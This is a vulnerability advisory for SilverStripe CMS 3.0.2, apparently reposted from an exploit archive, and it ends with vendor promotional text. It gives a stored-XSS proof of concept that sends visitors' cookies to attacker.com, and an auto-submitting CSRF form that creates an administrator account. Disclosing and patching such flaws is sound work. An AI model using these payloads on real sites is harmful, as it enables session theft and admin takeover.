Product. SilverStripe CMS
Platform. Windows
Affected versions. 3.0.2
Severity Rating. Medium
Impact. Privilege escalation, cross-site scripting
Attack Vector. From remote with authentication
Solution Status. Upgrade to version 3.0.3
CVE reference. CVE - not yet assigned
Details.
SilverStripe CMS is an open source web content management
system used to build websites, intranets, and web applications.
SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS)
vulnerability and Cross-Site Request Forgeries (CSRF).
Stored XSS:
The site title field in the configuration page fails to securely
output encode stored values. As a result, an authenticated attacker
can trigger the application to store a malicious string by entering
the values into the site title field. When a user visits the web
site, the malicious code will be executed in the client browser.
Proof of Concept XSS:
Enter the below into the site title field:
<script>document.location="http://attacker.com/stealcookie.php?cookie="
+ document.cookie</script>
When any user visits the web site the above client-side code will be
executed in the client browser to steal their cookie. The following
page is vulnerable:
http://www.website.com/admin/settings/
CSRF:
The privilege escalation is possible because the form used to change
user account passwords does not require the user to confirm their
current password and is vulnerable to CSRF. An attacker can reset an
Administrator password by creating a malicious web site that sends a
POST request to change the current user's password while they are
logged into the CMS. This vulnerability can be combined with the above
XSS to force the user to visit the malicious web site as soon as the
user logs into the CMS. The only item required to create the CSRF is
the SecurityID value which can be extracted from many pages in the CMS.
After sending the request the attacker can login as a new Administrator
with the credentials detailed below.
Proof of Concept CSRF:
Example CSRF Request to create a new admin user with limited CSRF
protection enabled:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="
http://x.x.x.x/admin/security/EditForm/field/Members/item/new/ItemEditForm"
name="form" method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
<input type="text" name="Email" value="[email protected]">
<input type="text" name=" Password[_Password]" value="Squash!">
<input type="text" name=" Password[_ConfirmPassword]" value="Squash!">
<input type="text" name="Locale" value="en_GB">
<input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b">
<input type="text" name="action_doSave" value="1">
</form>
</body><br>
</html>
Solution.
Upgrade to version 3.0.3.
# 0day.today [2018-04-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation